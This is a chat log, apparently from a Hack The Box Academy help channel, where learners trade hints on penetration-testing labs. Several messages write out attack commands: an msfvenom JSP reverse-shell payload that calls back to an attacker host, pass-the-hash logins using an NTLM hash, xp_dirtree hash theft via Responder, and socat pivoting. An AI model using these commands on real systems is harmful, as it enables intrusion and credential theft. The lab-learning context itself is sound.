check the "Credential Enumeration - from Windows" section, there is a tool that you haven't mentioned in it, which will help you

umbral cloud
#

right yea ive noticed but what tool searchs for config files

#

ok will do

fierce island
#

Doing the "Miscellaneous Misconfigurations" Section in the Active directory module.
I have found the cleartext password for mmorgen, but it isn't accepted as the correct answer. Can I get a sanity check?

autumn pilot
#

yea, it is kind of misleading, get the password of the user you have found in the first question

misty current
#

Getting back to this, is there something I need to even after adding a new/existing user to the administrators group to dump SAM using mimikatz?

jovial bear
#

Hey! I need help for mobile challenge waiting. I'm stuck secret activity. Already tried ghidra and GDB but not able find flag.

#

Can anyone guide me for the challenge??

autumn pilot
#

It is an active challenge, you can't get a guide, but rather hints if you verify your account #welcome and #rules

jovial bear
#

Any hints would be apperciated

#

How to verify??

leaden quail
#

Hello, where can I download my invoice receipts for payments made?

autumn pilot
#

they are usually sent automatically, however, if you haven't received any you will have to reach out to support

jovial bear
#

I already have verifed my account.. when joined

umbral cloud
#

@autumn pilot Thank you, i found it, dont know why i totally just spaced snaffler. lmao i hella read through that section like 20 times it seems and your right it was the only on in that section i didnt try. i feel so dumb now lmao thank you tho as soon as i found it my headache instantly started to go away lol

jovial bear
#

@autumn pilot can you give me some hints regarding challenge?

autumn pilot
#

nope, sorry

misty current
#

I missed that part PizzaGoose

mighty wharf
#

Hey guys I need some help with the os ticket part of attacking common services, I am not able to access my ticket once I create it keep getting access denied

autumn pilot
#

it is simpler than you think, there is something in the section that you can utilize in the exercise

#

part of data that will help you achieve something

mighty wharf
grizzled wind
#

HINT "What is the FQDN of the host where the last octet ends with "x.x.x.203" . HINT guys i was stuck on it for hours , dont change IP given when you spawn machine , only change subdomain at the end of dnsenum , for example . dnsenum --dnsserver 10.129.???.???(your IP) --enum -p 0 -s 0 -o subdomains.txt -f /opt/useful/SecLists/Discovery/DNS/NEVERCHOSE-top1million-5000.txt ??????.inlanefreight.htb (ALSO DONT PUT THAT . AT THE END OF HTB DOMAIN ) biggest HINT is try DIFFERENT lists in that dir for SAME subdomain , and you will get different results

rustic sage
#

any one has solved the Attacking Common Services - Easy using || CORE FTP || method i have already solved the lab using || MYSQL|| but wanted to know the other way EDIT :- nvm solved it

acoustic owl
#

Try a different list. A smaller list

rapid sparrow
#

hi

#

I am still stuck with what you talk

cosmic ivy
#

Hey people

#

The best thing to learn is Radio frequency

#

Good luck

plain sleet
west spindle
#

Hello,

I'm stack on Skill Assessment of Using CrackMapExec on the second question:

Gain access to the SQL01 and submit the contents of the flag located in C:\Users\Public\flag.txt.

What I get so far:

  • Two valid users with their credentials
  • Dump the SMB, and I got another creds but didn't work...

Any hint?

autumn pilot
#

have you tried to use a query to search for such things?

#

in bloodhound

rustic sage
#

Hello, im in ATTACKING COMMON SERVICES sql databases module and im stuck, im trying to execute subdirs but i no have hacess EXEC master..xp_subdirs '\\10.10.110.17\share\' but if i use dirtree works EXEC master..xp_dirtree '\\10.10.110.17\share\' im tryng to steel hashes with responder but doesnt works, what can i do?

pine dagger
autumn pilot
rustic sage
#

got it!

plain sleet
pine dagger
plain sleet
autumn pilot
#

I can assure you that two of the provided commands are working

#

it could be that might be missing a json file when you imported them

pine dagger
plain sleet
pine dagger
#

But I would point you at the HTB Command Execution chapter. WHat you can do to test things is run each command in sequence with an IF WAIT method to get feedback whether the command worked.

pine dagger
#

But just be careful you're using the correct pgsql server version when compiling. I think the pwnbox has v15 on it

#

and you'll want v13 (as per the HTB guide)

plain sleet
# pine dagger Errr. No. Try looking at the example C compiling

i tried this few days back. had some issue with this portion INSERT INTO pg_largeobject . already took care of the blacklisted character but still it doesn't insert 1 page based on my validation "SELECT COUNT(DISTINCT pageno) AS num_pages FROM pg_largeobject WHERE loid = 58514"

rustic sage
#

Im trying to connect to mssql with this mssqlclient.py -p 1433 htbdbuser@10.129.246.163 but i have the next issue [*] Encryption required, switching to TLS [-] [('SSL routines', '', 'no protocols available')] looking on internet i found this post in github https://github.com/fortra/impacket/issues/856 i do what the post says i change ctx = SSL.Context(SSL.TLSv1_METHOD) to ctx = SSL.Context(SSL.TLSv2_METHOD) in my tds.py file 2 times in line 666 and 914 and i update impacket but i have still the same issue somebody could help¿

autumn pilot
#

it would be easier if you just download an older release

rustic sage
autumn pilot
rustic sage
#

im tring to uninstall impacket sudo pip uninstall impacket WARNING: The directory '/root/.cache/pip' or its parent directory is not owned or is not writable by the current user. The cache has been disabled. Check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. Found existing installation: impacket 0.9.22 Not uninstalling impacket at /usr/lib/python3/dist-packages, outside environment /usr Can't uninstall 'impacket'. No files were found to uninstall. first thell that i have version 0.9.22 then can´t uninstall it

#

if i run msqqclient says that i have version 0.10

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation```
autumn pilot
#

you don't need to install it

#

just visit the examples directory and you will see the scripts

rustic sage
#

i dont understand i donwloand impacket-0.9.15.tar.gz how can i run the mssqlclient of this version ?

autumn pilot
#

it is an archive that contains different files and directories

rustic sage
#

i dont know how to do it sorry

rustic sage
#

i do it and now how i run the mssqlclient version of impacket 9.15?

#

why is runing version 10 of impacket?

rustic sage
#

look

pulsar ember
#

Hello! Is the lab in the 'sudo' section for the updated 'Linux Privilege Escalation' module mistaken? The lab doesn't match any of the techniques they taught you in this section

round gale
#

hello, working on the hacking wordpress module, being asked to manually enumerate the folders. i did that. directory listing is enabled, but not able to find flag.txt file. in the 2 folders as mentioned in the content material

rustic sage
#

ok!

round gale
rustic sage
hazy minnow
#

I'm doing the final module in the CPTS course - ATTACKING ENTERPRISE NETWORKS. I'm trying to do this module without looking at the answers, I keep running commands I feel should work, but they don't. I look at the walkthru and don't know why what I'm doing wouldn't work but the way they did it does. Is there anyone that can provide an in-depth explanation for a couple examples I have??

round gale
autumn pilot
#

I have

gaunt monolith
#

Hi I have this credentials on my question ||JMarston:P@ssword!|| but I can’t submit ! -format is (username:password case - sensitive)

autumn pilot
#

which section and module

gaunt monolith
autumn pilot
#

put the password in single quotes

gaunt monolith
#

Done , thanks I just copied Pwn3d! credentials from crackmapexec

plain sleet
pine dagger
whole grotto
#

Hi everyone, I'm currently in the password attacks module, in the mutation section. I'd like to know if I'll have to wait a long time to obtain the ssh password by bruteforcing it?

green blaze
#

Hi how are ya I'm going through the linux fundamentals module and got stuck on this assignment where I need to ssh through vpn and say what's the path to the user's mail. Not only did I not find anything online I also don't understand what finding the "path" to the mail means. Any help?

round gale
gaunt monolith
whole grotto
misty current
#

Does windows attack and defense module cover ADCS completely? like including ESC4 too. From outside the module I see it mentioning only ESC1 and ESC8

drowsy kelp
#

Hey guys, I'm trying to crack a hash file using john, when I sepecify a wordlist to be used, the john tool runs and ends in a few seconds withoud actually cracking, but when the wordlist is not specified the john is running fine and doesn't ends soon, can anyone help me with this, thanks.

misty current
#

when you don't specify any wordlist, john resorts to a default one.

#

You can see that in the output itself.

zinc marsh
#

hashcat is better pika_sip (on my opinion)

drowsy kelp
misty current
#

I believe it does run with your wordlist, it just doesn't show anything unless it cracks the password

drowsy kelp
#

cool thanks

misty current
#

--verbosity=N Change verbosity (1-5 or 6 for debug, default 3)
you can play around with the verbosity to debug if you want

hazy minnow
#

how long is your wordlist you're trying to use? if it's small then yes, it would probably run thru it in literally no time. Try selecting a super long wordlist like rockyou since this isn't john's default wordlist and see if it quits early

cyan cosmos
#

No one is talking Iam leaving now.

modern epoch
misty current
tough prawn
#

hi

#

How Can I Transfer a zip file From a Widnwos Machine to our linux machine ?

#

For Ex I want to trasnfer a bloodhound zip file from a windows machine using the Powershell

misty current
#

what accesses do you have to Windows machine is the first question.

tough prawn
#

AD Admin Local user

misty current
#

Well, there's a lot of techniques you can use from mounting file through RDP, SMB shares, HTTP file transfers

#

I'd recommend you to go through the File Transfer module, It has everything covered

tough prawn
gaunt monolith
#

Hi Im in password attack - Credentials hunting in windows in before last question I found || P@55w0rd || to submit but I cant

tough prawn
#

But Now Im sutck on Questions Required to bloodhound

misty current
#

xfreerdp has /drive: argument which can be used

#

Look it up

paper rivet
#

Hi, I'm in The Live Engagement - module shells and payloads and i need help please. In the first host, i ||upload the war reverse shell but i don't receive the shell||

iron coyote
#

@gaunt monolith which question specifically

misty current
paper rivet
#

I have used the next payload to create the war file: ||msfvenom -p java/jsp_shell_reverse_tcp LHOST=[IP] LPORT=[Port] -f war -o shell.war||

misty current
#

^

#

you can try unzipping the .war archive to see how exactly the payloads are stored

#

and see if that helps with your execution.

rustic arrow
#

Hey! I was doing the first question for the pass the hash section, on password attacks, and I have a question. https://academy.hackthebox.com/module/147/section/1638

For some reason, when I try using impacket-*exec or crackmapexec it won't work, but evil-winrm does.

# doesnt work, even if i change to any other like psexec
impacket-smbexec Adminstrator@10.129.122.157 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
# also doesnt work
crackmapexec winrm 10.129.122.157 -u 'Adminstrator' -d . -H 30B3783CE2ABF1AF70F77D0660CF3453

Anyone knows the reason?

Command that works: evil-winrm -i <ip> -u <user> -H <hash>

#

.\Adminstrator:30B3783CE2ABF1AF70F77D0660CF3453 STATUS_LOGON_FAILURE

rustic sage
rustic sage
#

Got it! 🙂

gaunt monolith
iron coyote
#

dm me what u were gonna submit

hushed bone
#

Has anyone had issues with 'Cracking Wireless (WPA/WPA2) Handshakes with Hashcat'?

Following the instructions and still getting this result:

Session..........: hashcat
Status...........: Exhausted
Hash.Name........: WPA-PBKDF2-PMKID+EAPOL
deep owl
#

hello all

#

i want some help with bloodhound

#

when running it in the module active directory enumeration aand attacks

tender acorn
#

i do the USING WEB PROXIES module and try to setup ZAP.

The Hud don't work. It don't show. I use the open broter with pre-configoration. and hud is enable but it dont show. Why?

deep owl
#

module: active directory enumeration and attacks section : Privileged Access

misty current
#

what error do you get when running it

deep owl
#

when running cipher on bloodhound it shows no data

misty current
#

cypher queries?

deep owl
#

yes

misty current
#

what query did you run?

#

you can paste it here

deep owl
#

first i run bloodhound ./bloodhound.exe

#

then i paste the cipher

#

MATCH p1=shortestPath((u1:User)-[r1:MemberOf1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote1..]->(c:Computer) RETURN p2

misty current
#

there's a small syntax error in what you had sent

#

or maybe not, discord just processed the * to italics in what you sent but. The query works for me

tender acorn
#

i do the USING WEB PROXIES module and try to setup ZAP.

The Hud don't work. It don't show. I use the open broter with pre-configoration. and hud is enable but it dont show. Why?

zinc marsh
#

i have this and is saying it is not the right answer

misty current
#

"submit the first word of it as the answer"

#

more like, submit the word that's actually an word

zinc marsh
#

they removed it

#

so i guess i canot post it

misty current
#

For good reasons lol

misty current
iron coyote
misty current
#

what's the issue?

iron coyote
#

I think it's mostly my understanding, I haven't managed to get the AXFR zone transfer to work with the subdomains I got from subbrute

misty current
#

Maybe you haven't gotten the right subdomain yet.

#

subbrute is the way, tho so maybe wait till you get enough

iron coyote
#

I've found 4

misty current
#

you can send me the list in DM.

steady hawk
#

Has anyone completed the newly added Logrotate section in the Linux Privesc module? I’ve compiled the binary and it seems to run properly. I checked the options in logrotate.conf and adjusted the payload accordingly. One of the conditions for the exploit to work is that we need write permissions on the log files, but we only have read on /var/log, not sure how to proceed.

cursive zinc
#

Hello every body, please someone know where i can have tutorial tò make an UAC bypass malware?

zinc marsh
#

why is the revshell not working?

autumn pilot
#

you don't need a reverse shell

plain sleet
vestal fable
#

Hi guys, for those of you doing 'using web proxy', when you open the proxychain, is it like /etc/proxychains.conf or /etc/proxychains4.conf?****

rustic sage
#

hey guys, I am completely new to hacking

#

can someone learn me the bases ?

quick cloud
#

HTB Academy has everything you need

rustic sage
#

where can I find it ?

quick cloud
#

Just search HTB Academy on Google and it should be the first one

rustic sage
#

ok thanks

quick cloud
#

Np

rustic sage
#

Finally !!

oblique bridge
#

who is there

rustic sage
#

what happend ?

quick cloud
#

I'm on attacking common services 3rd section haha

#

Hopefully it's fun module!

rustic sage
vestal fable
#

anyone already had that problem?

curl ip
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
curl: (7) Couldn't connect to server

misty current
#

how is that command going through proxychains tho, you aren't even mentioning proxychains

#

Also, you gotta mention the protocol, http:// for curl

vestal fable
zinc marsh
#

proxychains curl http://IP

vestal fable
zinc marsh
#

create a port forward if it is not working

misty current
#

what did you do for port-forwarding?

vestal fable
#

Oh sure

#

yeah it worked now lol

#

thanksss

zinc marsh
zinc marsh
#

any hint please

zinc marsh
#

am able to upload files but not to execute them

#

nvm i got it

#

i had to find the extension which is able to execute

#

no

dull vortex
#

I am struggling to connect to the database to start the questions for "Attacking SQL databases, Attacking Common Services". Not sure what I am missing here.

#

I am just confused with how to connect to the target initially

#

not sure how to authenticate with that user

modern falcon
#

Probably enumerate and see what port opens first

dull vortex
#

mssqlclient looks to be broken, that may be my issue

clear lion
dull vortex
clear lion
runic inlet
#

ftp> ls -a
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 2 root root 4096 Nov 10 2021 .
drwxr-xr-x 2 root root 4096 Nov 10 2021 ..
226 Transfer complete

#

hello i am doing footprint module easy lab section. but i am not sure how to proceed

runic inlet
#

can somebody help me please?

steady hawk
runic inlet
#

i connected to ftp

runic inlet
steady hawk
#

What port # is that?

runic inlet
#

6748

steady hawk
#

I just did an nmap scan on footprinting easy, I don't see 6748 open

#

Dm me a screenshot of you nmap scan if you want

misty current
steady hawk
misty current
steady hawk
round gale
#

hello for the hacking wordpress module, username enumeration room, i copied the curl post command from burp, burp is displaying the correct outout, but curl command in terminal is displaying only the headers . how do i get curl to show the html body as well?

#

curl -i -s -k -X $'POST' , these are the flags being used

misty current
steady hawk
misty current
#

I saw that there are no changes to the bash_completion.d directory even when the exploit gets executed

#

gotta be some small detail we might be missing.

quick stag
#

haha

rustic sage
#

😎

misty current
#

Find a directory that is writable by your user and use file transfer methods in that particular directory.

#

you should be able to do so with a basic Invoke-WebRequest, refer to file transfer module for more techiniques

misty current
#

You always gotta host the files in your local VM because most of the time (almost all from what I've seen) the labs don't have internet access, so you can't download Internet-available resources to the boxes

#

I believe it's got to do with the Web-Shell restriction? Was your access a web-shell?

#

Sometimes WebShell don't do a good job of navigating around, I'd say get a reverse shell whenever possible.

round gale
#

in the hacking wordpress module, skill assessment, i put in inlane.htb in the /etc/hosts file, but that would not work we need to put in inlane.somethingelse in the /etc/hosts file, now why did inlane.htb not work , why am i forced to put inlane.l**** in the /etc/hosts file ?

misty current
#

I'd not agree to that, they both work different lol

#

Ah if you mean it like that, yes. Mostly yes you can 🙂

#

To be more detailed, some advanced webshell allows you to move around which makes you think you're navigating like in a reverse shell but they just process your inputs on client side and append the path automatically to the payload, to seem like you're navigating to places.

tough prawn
#

Q / Run Snaffler and hunt for a readable web config file. What is the name of the user in the connection string within the file?

#

I get the name but I can't solve the Question

misty current
#

which module is this?

tough prawn
#

ACTIVE DIRECTORY ENUMERATION & ATTACKS -> Credentialed Enumeration - from Windows

#

I found the answer

#

Ty

misty current
#

Ah cool.

acoustic willow
#

Have anyone tried this ?

#

Hmm, i couldn't find anything

graceful mortar
#

Using rockyou-50.txt as password wordlist and htbuser as the username, find the policy and filter out strings that don't respect it. What is the valid password for the htbuser account?

Im stuck in this module: broken authentication. someone could help me?

surreal beacon
#

??

kind fern
#

Hi, in this module "DNS Tunneling with Dnscat2" how can I transfer dnscat2-powershell.git to the victim machine?

fiery berry
kind fern
fiery berry
dapper star
#

Anything I can do to fix this? (sudo apt install libc6 doesn't work)

#

Is in the pivoting - SOCKS5 tunneling with chisel section

molten prawn
#

So I’m considering to get the yearly subscription in hackthebox academy

#

When I get this , do I have direct access to all the modules ?

dapper star
#

Everything up to tier 2 I think

molten prawn
#

Yea does that mean I don’t have access after that ?

dapper star
#

You don't have direct access to tier 3 and upwards

molten prawn
#

English is not my native language I’m confused lol

dapper star
#

you can use the cubes you earn to buy those modules

molten prawn
#

Yea buttt I don’t think the cubes are enough lol

#

I’m at work staring at this subscription instead of working Kappa

#

@dapper star gotta give it to you , I love your bio lmao

dapper star
#

Hahaah thanks 🙂

fiery berry
dapper star
ruby mulch
#

I am doing the network enumeration with nmap module but in the firewall bypass practice if I do it from my machine it doesn't work but from the pwnbox it does. Why is this happening?

misty current
#

It's prolly with how packets sent and received, usually firewall audits would be performed inside internal networks, Not through VPN. I guess, it's the same case here.

rustic sage
#

I am on shell and payloads module.
I am stuck at 50064.rb the exploit is given error.Error is method ' split ' for nil:nilclass

rustic sage
#

Yes

misty current
#

Do what exactly? What record are you requesting specifically?

rustic sage
#

@sly kelp ?

misty current
#

@rustic sage Can you verify yourself and send screenshot of what options you're setting to execute the payload?

sly kelp
misty current
#

This command only brute-forces the subdomains.

rustic sage
#

@sly kelp during exploit

misty current
#

Look on the module to see what record you got to request to get IPv4 Addresses for each of the subdomains

sly kelp
acoustic sparrow
#

damn skill assesment payloads and shells challanging me hard

fierce pier
#

Stuck at attacking dns (attacking common service module). I can't enumerate dns

acoustic sparrow
sly kelp
acoustic sparrow
sly kelp
#

I get connection error during second machine rdp

sly kelp
acoustic sparrow
misty current
#

Which path is that? That requires 17 modules? pika_sip

sly kelp
#

and CPTS has 28

misty current
sly kelp
plain sleet
#

Can I dm you about this?

sly kelp
karmic dagger
#

I'm having issues with getting a RDP connection to the Target machine in Password Attacks - PtT (Windows). I'm using the following command: xfreerdp /v:10.129.142.67 /u:Administrator /p:'AnotherC0mpl3xP4$$'

#

Any advice? It worked once. I don't know if the connection to the machine is just terrible.

sly kelp
#

are you using xfreerdp or remmina?

karmic dagger
#

xfreerdp

sly kelp
#

try to use another tool mostly for me xfreerdp never worked with stability

karmic dagger
#

Good idea. Thanks.

zinc marsh
#

Upload File Attacks, what wordlist did u use here to bypass Only Image Allowed?

sly kelp
#

from client side ?

surreal beacon
#

???

#

tips please

sly kelp
#

what did you try to solve this ?

surreal beacon
#

me?

sly kelp
#

Yes for footprinting lab

surreal beacon
#

i did nmap

#

and saw the services that i think that they are accessible

#

and i tried couple of things but yet still didnt figure it out

sly kelp
#

You have some services and you have a username. Now you can try soemthing

surreal beacon
#

yeah thats the problem

#

no password

#

i tried smb

#

but nope

sly kelp
#

there is a list of usernames and password in resources tab

surreal beacon
#

oh

#

it doesnt open

#

(resource tab )

#

the page moves

#

is it a glitch?

sly kelp
#

try to disable your adblocker

surreal beacon
#

no adblock

#

im using brave btw

#

nvm it worked now

#

i downloaded the wordlist

sly kelp
#

check your dm i sent you the file

surreal beacon
#

whats the point downloading it at my host?

analog dock
#

You can just make a file in pwnbox and copy the contents there

surreal beacon
#

thanks

zinc marsh
#

File Upload Attacks - Whitelist filters any hint please

foggy light
#

anyone having issues connecting ot RDP?

zinc marsh
dapper star
# zinc marsh

Can I DM you please? Got a question about a problem you had (and can prob help you with this)

vital quiver
#

please give me hit with sam's password on Password Mutations question? I am running HYDRA against FTP with mut_password made using the custom.rule and i am at attempt 10947 of 94044 ? please thanks

gaunt monolith
#

Hi why cant login on ssh with user kira password ||l0vey0u1|| ? In pass attacks credentials Hunting in linux

vital quiver
#

thank you \o/

#

@rustic sage

zinc marsh
#

when i go to the uploaded file

gaunt monolith
zinc marsh
#

because it is wrong

gaunt monolith
#

I’ll try another

autumn pilot
#

and start simple, don't overcomplicate without need, for example try to use php echo or similar

#

this will help you understand if php code is being executed

zinc marsh
#

apart thsn burpsuite?

autumn pilot
#

burp is the way to be fair

#

but know that not always the first result is the answer

#

nor the second

misty current
#

I was proxying ffuf through burp when I was on that module,

#

Helps you see a lot.

zinc marsh
surreal beacon
zinc marsh
#

yea it was simpler than what i was trying lol thanks

analog dock
#

Module attacking common services, I’m at attacking email services question 2, but for some reason I can’t seem to get the password for the m account

#

“Access the email account using the user credentials that you discovered and submit the flag in the email as your answer.”

#

I tried hydra with the pws list in resources and with the one found earlier

acoustic owl
zinc marsh
#

what username are u using?

analog dock
analog dock
surreal beacon
#

@acoustic owl idk how to use the wordlist

zinc marsh
acoustic owl
analog dock
zinc marsh
analog dock
zinc marsh
#

-.-

zinc marsh
potent nebula
#

hello everyone I am doing the academy and in many cases I am getting numerous timeout responses for the exercises in metasploit when I test by nmap and set the flag to 1m it works, but even calling the adavanced options of the exploit and setting a longer time in ms I am still getting timeout responses, can you help me please?

analog dock
zinc marsh
#

well u can do it with 0x56 now because it autocomplete the gmail.com but u get the point i think

rapid sparrow
#

I need some help with Socat Redirection with a Bind Shell (PIVOTING, TUNNELING, AND PORT FORWARDING )

potent nebula
#

I have done this many times

rapid sparrow
#

I can't understand how the bind shell active

potent nebula
#

yes

zinc marsh
misty current
rapid sparrow
trail leaf
trail leaf
#
socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443

copied and pasted straight from the lesson lmao

#

The socat command is not actually creating the bind shell, but it's connecting you to the bind shell

rapid sparrow
trail leaf
#

You could always run this command and then background it with the &

#

otherwise yeah, 2 ssh sessions

rapid sparrow
#

step by step?

  1. Creating the Windows Payload
  2. Configuring & Starting the Bind multi/handler to connect Victim Server
  3. Starting Socat Bind Shell Listener
misty current
#

or tmux it

rapid sparrow
#

do I need to use something from last section?

acoustic sparrow
trail leaf
#

I'm not going to tell you it step by step because that's what the job of academy is supposed to be, but this is the sequence of events

Attacker --> Victim --> Internal Subnet

  1. A bind shell listens on the internal subnet, waiting for a connection
  2. You run socat on the victim to take any traffic to victim:8080 and send that to internal:8443
  3. You point your meterpreter bind thing to the victim machine, because socat will handle the back and forth
rapid sparrow
#

still confused

misty current
#

How do you have access to windows host?

rapid sparrow
# misty current How do you have access to windows host?

yes that the question that I want to ask, from my understand bind shell is recieve signal, and the windows server already setup the half of the bind shell, I only need to connect to windows using victim server, and it not works. idk what I missed

rapid sparrow
surreal beacon